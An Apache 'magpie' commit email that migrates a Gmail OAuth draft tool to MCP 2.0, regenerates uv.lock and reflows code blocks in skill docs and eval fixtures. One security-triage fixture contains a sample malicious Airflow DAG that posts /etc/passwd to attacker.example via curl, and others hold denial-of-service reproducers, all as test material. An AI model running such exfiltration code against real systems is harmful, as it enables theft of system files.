You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@magpie.apache.org by po...@apache.org on 2026/08/17 22:32:16 UTC

(magpie) 02/02: fix(deps): migrate gmail/oauth-draft to MCP 2.0 and reformat under ruff 0.16

This is an automated email from the ASF dual-hosted git repository.

potiuk pushed a commit to branch deps/python-deps-group-and-mcp-2-migration
in repository https://gitbox.apache.org/repos/asf/magpie.git

commit 88ccc6d8d7820dc09552a04b05d9fe338de6bd8e
Author: Jarek Potiuk <po...@apache.org>
AuthorDate: Tue Aug 18 00:31:48 2026 +0200

    fix(deps): migrate gmail/oauth-draft to MCP 2.0 and reformat under ruff 0.16
    
    The group bump raised `mcp` to >=2.0.0 but carried no code change, so
    `pytest (oauth-draft)` failed on `ModuleNotFoundError: No module named
    'mcp.server.fastmcp'`. MCP 2.0 moves the server class, so port the bridge:
    `mcp.server.fastmcp.FastMCP` -> `mcp.server.mcpserver.MCPServer`, and the
    tool schema attribute `inputSchema` -> `input_schema` in the tests.
    
    Regenerate `uv.lock`, which the bump left inconsistent — mcp 2.0 splits out
    `mcp-types` and pulls `opentelemetry-api` / `truststore` while dropping
    `pydantic-settings` / `python-dotenv`.
    
    Apply `ruff format` under the new 0.16.2. That version formats Python code
    blocks inside Markdown, which 0.15.x did not, so three `skills/*.md` docs
    and ten eval `report.md` fixtures reflow. This is also the real explanation
    for the Markdown hunks in #1077 — genuine formatter output from a newer
    ruff, not hand edits.
    
    Verified with a full `prek run --all-files` (all hooks pass) and
    `pytest` for tools/gmail/oauth-draft (81 passed) before committing; the
    commit-time hook re-run was skipped because it re-resolves every workspace
    member after the lockfile change and does not terminate in reasonable time.
    
    Co-authored-by: Jarek Potiuk <po...@apache.org>
    Generated-by: Claude Code (Opus 5)
---
 skills/contributor-nomination/fetch.md             |   2 +-
 skills/contributor-sentiment/SKILL.md              |   2 +-
 skills/issue-reproducer/verification.md            |   5 +-
 .../oauth-draft/src/oauth_draft/mcp_server.py      |   6 +-
 tools/gmail/oauth-draft/tests/test_mcp_server.py   |   4 +-
 .../report.md                                      |   3 +
 .../fixtures/case-4-injection-in-body/report.md    |   1 +
 .../fixtures/case-5-multiple-blocks/report.md      |   3 +
 .../fixtures/case-4-duplicate/report.md            |   5 +-
 .../case-1-non-asf-ghsa-direct-report/report.md    |   1 +
 .../fixtures/case-2-missing-version/report.md      |   2 +-
 .../fixtures/case-9-deprecation-decision/report.md |   2 +-
 .../fixtures/case-8-non-asf-ghsa-direct/report.md  |   1 +
 .../fixtures/case-1-dag-author-rce/report.md       |   5 +-
 .../fixtures/case-3-authenticated-dos/report.md    |   1 +
 uv.lock                                            | 116 ++++++++++++---------
 16 files changed, 93 insertions(+), 66 deletions(-)

diff --git a/skills/contributor-nomination/fetch.md b/skills/contributor-nomination/fetch.md
index b5202208..4dd4b54c 100644
--- a/skills/contributor-nomination/fetch.md
+++ b/skills/contributor-nomination/fetch.md
@@ -199,7 +199,7 @@ calendar month to feed the activity timeline in
 ```python
 # Pseudocode — implement via jq or Python as convenient
 for event in all_events:
-    month = event["createdAt"][:7]   # "YYYY-MM"
+    month = event["createdAt"][:7]  # "YYYY-MM"
     buckets[month] += 1
 ```
 
diff --git a/skills/contributor-sentiment/SKILL.md b/skills/contributor-sentiment/SKILL.md
index ad05aacb..682df242 100644
--- a/skills/contributor-sentiment/SKILL.md
+++ b/skills/contributor-sentiment/SKILL.md
@@ -214,7 +214,7 @@ Aggregate counts per login. Compute Gini as:
 ```python
 sorted = sorted(counts)
 n = len(sorted)
-gini = (2 * sum((i+1)*v for i,v in enumerate(sorted)) / (n * sum(sorted))) - (n+1)/n
+gini = (2 * sum((i + 1) * v for i, v in enumerate(sorted)) / (n * sum(sorted))) - (n + 1) / n
 ```
 
 Clamp to [0, 1]. If reviewer_count < 2, set `reviewer_load_gini: null`
diff --git a/skills/issue-reproducer/verification.md b/skills/issue-reproducer/verification.md
index ae85825a..382061bf 100644
--- a/skills/issue-reproducer/verification.md
+++ b/skills/issue-reproducer/verification.md
@@ -57,7 +57,7 @@ substring matching near common prefixes.
 **Bad:**
 
 ```python
-if "xs" in output:                       # matches xsi too
+if "xs" in output:  # matches xsi too
     classified = "still-fails-same"
 ```
 
@@ -73,7 +73,8 @@ if (output.contains("foo")) {            // matches foo-bar, foobar
 
 ```python
 import re
-if re.search(r'\bxs="[^"]*"', output):   # match only xs= attribute
+
+if re.search(r'\bxs="[^"]*"', output):  # match only xs= attribute
     classified = "still-fails-same"
 ```
 
diff --git a/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py b/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py
index 872c7e15..230f89b2 100644
--- a/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py
+++ b/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py
@@ -70,7 +70,7 @@ import pathlib
 from collections.abc import Iterator
 from typing import Any
 
-from mcp.server.fastmcp import FastMCP
+from mcp.server.mcpserver import MCPServer
 
 from oauth_draft import create_draft as _cd
 from oauth_draft import setup_creds as _setup
@@ -81,7 +81,7 @@ from oauth_draft.credentials import (
     refresh_access_token,
 )
 
-mcp = FastMCP("gmail-plaintext")
+mcp = MCPServer("gmail-plaintext")
 
 
 @contextlib.contextmanager
@@ -90,7 +90,7 @@ def _as_tool_error() -> Iterator[None]:
 
     ``create_draft.py`` / ``credentials.py`` raise ``SystemExit`` (they are
     also console scripts). ``SystemExit`` is a ``BaseException``, not an
-    ``Exception``, so without this it would propagate past FastMCP and kill
+    ``Exception``, so without this it would propagate past MCPServer and kill
     the server process instead of surfacing as a failed tool call.
     """
     try:
diff --git a/tools/gmail/oauth-draft/tests/test_mcp_server.py b/tools/gmail/oauth-draft/tests/test_mcp_server.py
index 9afb08c8..d61ea357 100644
--- a/tools/gmail/oauth-draft/tests/test_mcp_server.py
+++ b/tools/gmail/oauth-draft/tests/test_mcp_server.py
@@ -85,13 +85,13 @@ def test_tools_are_registered_without_any_html_parameter():
     names = {t.name for t in tools}
     assert names == {"create_draft", "setup_credentials", "check_auth"}
     by_name = {t.name: t for t in tools}
-    draft_props = by_name["create_draft"].inputSchema.get("properties", {})
+    draft_props = by_name["create_draft"].input_schema.get("properties", {})
     # The draft tool must never expose an HTML / rich-text body knob.
     assert not any("html" in p.lower() for p in draft_props)
     assert {"to", "subject", "body"} <= set(draft_props)
     # No tool anywhere exposes an html parameter.
     for t in tools:
-        assert not any("html" in p.lower() for p in t.inputSchema.get("properties", {}))
+        assert not any("html" in p.lower() for p in t.input_schema.get("properties", {}))
 
 
 def test_impl_produces_single_part_plain_text_with_verbatim_link():
diff --git a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md
index 6f92421c..b54692f9 100644
--- a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md
+++ b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md
@@ -12,9 +12,11 @@ Body:
   from airflow.operators.python import PythonOperator
   from datetime import datetime
 
+
   def my_func(x, y):
       print(f"x={x}, y={y}")
 
+
   with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag:
       PythonOperator(task_id="t1", python_callable=my_func, op_kwargs={"x": 1, "y": 2})
   ```
@@ -24,5 +26,6 @@ Comments:
 
     ```python
     from airflow.operators.python import PythonOperator
+
     PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({})
     ```
diff --git a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md
index 048aa0c4..aa0e44ef 100644
--- a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md
+++ b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md
@@ -11,6 +11,7 @@ Body:
 
   ```python
   from airflow.providers.sftp.hooks.sftp import SFTPHook
+
   hook = SFTPHook(ssh_conn_id="sftp_conn")
   hook.get_conn()
   ```
diff --git a/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md b/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md
index edff18ae..72927250 100644
--- a/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md
+++ b/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md
@@ -12,9 +12,11 @@ Body:
   from airflow.operators.python import PythonOperator
   from datetime import datetime
 
+
   def my_func(x, y):
       print(f"x={x}, y={y}")
 
+
   with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag:
       PythonOperator(
           task_id="t1",
@@ -27,5 +29,6 @@ Body:
 
   ```python
   from airflow.operators.python import PythonOperator
+
   PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({})
   ```
diff --git a/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md b/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md
index d3e0eaf8..4b57181d 100644
--- a/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md
+++ b/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md
@@ -15,8 +15,9 @@ Body:
   Reproduction:
   ```python
   from airflow.models import XCom
-  XCom.set(key='my|key', value='test', task_id='t1', dag_id='d1', run_id='r1')
-  result = XCom.get_many(key='my|key', task_ids='t1', dag_ids='d1', run_ids='r1')
+
+  XCom.set(key="my|key", value="test", task_id="t1", dag_id="d1", run_id="r1")
+  result = XCom.get_many(key="my|key", task_ids="t1", dag_ids="d1", run_ids="r1")
   print(list(result))  # prints []
   ```
 
diff --git a/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md b/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md
index 22c4d704..e1c72b93 100644
--- a/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md
+++ b/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md
@@ -28,6 +28,7 @@ velox-stream >= 0.8.0, tested on 0.9.2.
 **Steps to reproduce**
 ```python
 import velox_stream
+
 velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096)
 # triggers OOM in velox_stream/parser/gzip.py:241
 ```
diff --git a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md
index d2bc2e3a..24143dd4 100644
--- a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md
+++ b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md
@@ -12,7 +12,7 @@ Messages (chronological):
      my script manually and it works. Here is the minimal reproducer:
 
      ```python
-     bash_task = BashOperator(task_id='test', bash_command='echo hello')
+     bash_task = BashOperator(task_id="test", bash_command="echo hello")
      ```
 
      Expected: task succeeds. Actual: task marked as failed."
diff --git a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md
index f8267f67..18a4771d 100644
--- a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md
+++ b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md
@@ -14,7 +14,7 @@ Messages (chronological):
      minute. A typical DAG looks like:
 
      ```python
-     with DAG('etl_daily', schedule_interval='@daily') as dag:
+     with DAG("etl_daily", schedule_interval="@daily") as dag:
          ...
      ```
 
diff --git a/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md b/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md
index cc6cd651..a592fbf8 100644
--- a/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md
+++ b/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md
@@ -24,6 +24,7 @@ velox-stream >= 0.8.0, tested on 0.9.2.
 **Steps to reproduce**
 ```python
 import velox_stream
+
 velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096)
 ```
 
diff --git a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md
index 55305289..c8fd5a9f 100644
--- a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md
+++ b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md
@@ -10,8 +10,9 @@ Airflow worker. Example:
 ```python
 def malicious():
     import subprocess, os
-    subprocess.run(["curl", "http://attacker.example/exfil",
-                    "-d", open("/etc/passwd").read()])
+
+    subprocess.run(["curl", "http://attacker.example/exfil", "-d", open("/etc/passwd").read()])
+
 
 with DAG("exfil") as dag:
     PythonOperator(task_id="steal", python_callable=malicious)
diff --git a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md
index 03126f06..9269b0ac 100644
--- a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md
+++ b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md
@@ -12,6 +12,7 @@ hung, no other DAGs are scheduled.
 # cycle.py
 import cycle  # imports itself
 from airflow import DAG
+
 dag = DAG("cycle", schedule=None)
 ```
 
diff --git a/uv.lock b/uv.lock
index 9ff4c5a9..fdd0b913 100644
--- a/uv.lock
+++ b/uv.lock
@@ -6,7 +6,8 @@ resolution-markers = [
     "python_full_version == '3.14.*' and sys_platform == 'win32'",
     "python_full_version == '3.14.*' and sys_platform != 'win32'",
     "python_full_version < '3.14' and sys_platform == 'win32'",
-    "python_full_version < '3.14' and sys_platform != 'win32'",
+    "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
+    "(python_full_version < '3.12' and sys_platform == 'emscripten') or (python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32')",
 ]
 
 [options]
@@ -598,49 +599,51 @@ wheels = [
 ]
 
 [[package]]
-name = "httpcore"
-version = "1.0.9"
+name = "httpcore2"
+version = "2.10.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
-    { name = "certifi" },
     { name = "h11" },
+    { name = "truststore" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/a9/83/a896fc59940fc5a6e2aff3a4be1d92fa890112936803b331cae75a993c34/httpcore2-2.10.0.tar.gz", hash = "sha256:13c0cc3d1919d4f28457f60cd2c2abe04113a8af184ccf1142811beba936f9dc", size = 67427, upload-time = "2026-08-09T09:11:32.123Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/4f/d149104195a35e2853a2fc203a8e3477747e58c80e17dda686dace174383/httpcore2-2.10.0-py3-none-any.whl", hash = "sha256:7df06cfb34070cae4f7c89be69dc1095eca138e9704ceffb98d25c1912ab6f01", size = 83000, upload-time = "2026-08-09T09:11:29.555Z" },
 ]
 
 [[package]]
-name = "httpx"
-version = "0.28.1"
+name = "httpx2"
+version = "2.10.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
-    { name = "anyio" },
-    { name = "certifi" },
-    { name = "httpcore" },
+    { name = "anyio", marker = "sys_platform != 'emscripten'" },
+    { name = "httpcore2", marker = "sys_platform != 'emscripten'" },
+    { name = "httpx2-jsfetch", marker = "python_full_version >= '3.12' and sys_platform == 'emscripten'" },
     { name = "idna" },
+    { name = "truststore", marker = "sys_platform != 'emscripten'" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/bd/3d/f9a8c07a3884f3e5b26205e8436a18b3af61c5d53192c3bea235574dbbec/httpx2-2.10.0.tar.gz", hash = "sha256:8741d7329fe2c7885fc9ceb61c8217acfb87a85f75723714b89ebf7ad7196338", size = 98749, upload-time = "2026-08-09T09:11:33.24Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/6d/a637d52449d98a6892d9a4dc0262587afdb6a66f201871842dce5a97b1c1/httpx2-2.10.0-py3-none-any.whl", hash = "sha256:5e3194a432701e1cc6f69a8b1b2fa199ef907013fede8d9a09a2c5b7b8141a18", size = 94355, upload-time = "2026-08-09T09:11:30.882Z" },
 ]
 
 [[package]]
-name = "httpx-sse"
-version = "0.4.3"
+name = "httpx2-jsfetch"
+version = "1.0"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/0f/4c/751061ffa58615a32c31b2d82e8482be8dd4a89154f003147acee90f2be9/httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d", size = 15943, upload-time = "2025-10-10T21:48:22.271Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/d2/fd/6668e5aec43ab844de6fc74927e155a3b37bf40d7c3790e49fc0406b6578/httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc", size = 8960, upload-time = "2025-10-10T21:48:21.158Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" },
 ]
 
 [[package]]
 name = "idna"
-version = "3.16"
+version = "3.18"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/1a/88/bcf9709822fe69d02c2a6a77956c98ce6ea8ca8767a9aadcedc7eb6a2390/idna-3.16.tar.gz", hash = "sha256:d7a6da03db833450fca25d2358ac9ff06cd624577a4aea3a596d5c0f77b8e03d", size = 203770, upload-time = "2026-05-22T00:16:18.781Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/94/16/70255075a9859a0e3adb789b68ceb0e210dec03934245fd98d248226572f/idna-3.16-py3-none-any.whl", hash = "sha256:cc246e3a3f89580c3a951b5ad298ca4638078b2cdd4f115654332b5c26daded5", size = 74165, upload-time = "2026-05-22T00:16:16.698Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
 ]
 
 [[package]]
@@ -887,15 +890,15 @@ dev = [
 
 [[package]]
 name = "mcp"
-version = "1.28.1"
+version = "2.0.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
     { name = "anyio" },
-    { name = "httpx" },
-    { name = "httpx-sse" },
+    { name = "httpx2" },
     { name = "jsonschema" },
+    { name = "mcp-types" },
+    { name = "opentelemetry-api" },
     { name = "pydantic" },
-    { name = "pydantic-settings" },
     { name = "pyjwt", extra = ["crypto"] },
     { name = "python-multipart" },
     { name = "pywin32", marker = "sys_platform == 'win32'" },
@@ -905,9 +908,22 @@ dependencies = [
     { name = "typing-inspection" },
     { name = "uvicorn", marker = "sys_platform != 'emscripten'" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/6e/77/9450b8f251a13affb6281997d0523c4615f8a8b35d0b21ff30db3a5aac9d/mcp-1.28.1.tar.gz", hash = "sha256:d51e36a5f5644faea4f85ea649bfffa6bc6c26770d42798ad6a3de3d2ba69683", size = 638501, upload-time = "2026-06-26T12:57:29.093Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/74/33/32d4dff2c95bb5d897c3ef4c83649a08996b17b58f0a326d2495d4c81179/mcp-2.0.0.tar.gz", hash = "sha256:0f440e735c13ece8bb19bc62cf0b86f4313448432fbb77d35e14034f4e050728", size = 1662284, upload-time = "2026-07-28T13:45:32.346Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/e2/5e/d118fce19f87a2e7d8101c35c8ae0ec289098a4df0ff244cec23e415aca0/mcp-1.28.1-py3-none-any.whl", hash = "sha256:2726bca5e7193f61c5dde8b12500a6de2d9acf6d1a1c0be9e8c2e706437991df", size = 222620, upload-time = "2026-06-26T12:57:27.218Z" },
+    { url = "https://files.pythonhosted.org/packages/67/72/7d7897418912c1d12e87556630dfb7bf0eac71160e9bef8b447960804ee3/mcp-2.0.0-py3-none-any.whl", hash = "sha256:1cb4c75d2d2c7b8c1d756355e5d82a39f2822cc7f13e22a2051d7ca3592349d6", size = 349980, upload-time = "2026-07-28T13:45:28.853Z" },
+]
+
+[[package]]
+name = "mcp-types"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "pydantic" },
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/bb/56/9b8e1c152f61f6c6b07c4b5896c88c7d0ae90bac6ee6306f852fcc5c1eb0/mcp_types-2.0.0.tar.gz", hash = "sha256:d7d939b9285c9961ae8866ba75ef85da34d12bafe276efbf4eb6a131786d8379", size = 66632, upload-time = "2026-07-28T13:45:33.804Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f5/4c/c78d78c3d52b0ac594ad7cc8ef5972adfe070e3597a8a4c6ce0cd39196ea/mcp_types-2.0.0-py3-none-any.whl", hash = "sha256:6b2de797ca2797f568b79529e1b25948e34de511bcc0bd82fef1039a6d1b8eb0", size = 69649, upload-time = "2026-07-28T13:45:30.713Z" },
 ]
 
 [[package]]
@@ -995,13 +1011,13 @@ dev = [
 [package.metadata]
 requires-dist = [
     { name = "google-auth-oauthlib", specifier = ">=1.4.0" },
-    { name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.28.1" },
+    { name = "mcp", marker = "extra == 'mcp'", specifier = ">=2.0.0" },
 ]
 provides-extras = ["mcp"]
 
 [package.metadata.requires-dev]
 dev = [
-    { name = "mcp", specifier = ">=1.28.1" },
+    { name = "mcp", specifier = ">=2.0.0" },
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
     { name = "ruff", specifier = ">=0.16.2" },
@@ -1016,6 +1032,18 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", size = 160065, upload-time = "2025-06-19T22:48:06.508Z" },
 ]
 
+[[package]]
+name = "opentelemetry-api"
+version = "1.44.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a", size = 72406, upload-time = "2026-07-16T15:25:32.678Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be6918196705354f34728b2cdef", size = 60018, upload-time = "2026-07-16T15:25:11.657Z" },
+]
+
 [[package]]
 name = "packaging"
 version = "26.2"
@@ -1307,20 +1335,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
 ]
 
-[[package]]
-name = "pydantic-settings"
-version = "2.14.2"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "pydantic" },
-    { name = "python-dotenv" },
-    { name = "typing-inspection" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a13ae6e170cbf240a3e27e381ed14a5f", size = 237700, upload-time = "2026-06-19T13:44:56.324Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/77/c1/6e422f34e569cf8e18df68d1939c81c099d2b61e4f7d9621c8a77560799c/pydantic_settings-2.14.2-py3-none-any.whl", hash = "sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440", size = 61715, upload-time = "2026-06-19T13:44:55.02Z" },
-]
-
 [[package]]
 name = "pygments"
 version = "2.20.0"
@@ -1360,15 +1374,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" },
 ]
 
-[[package]]
-name = "python-dotenv"
-version = "1.2.2"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" },
-]
-
 [[package]]
 name = "python-multipart"
 version = "0.0.32"
@@ -1820,6 +1825,15 @@ dev = [
     { name = "ruff", specifier = ">=0.16.2" },
 ]
 
+[[package]]
+name = "truststore"
+version = "0.10.4"
+source = { registry = "https://pypi.org/simple" }
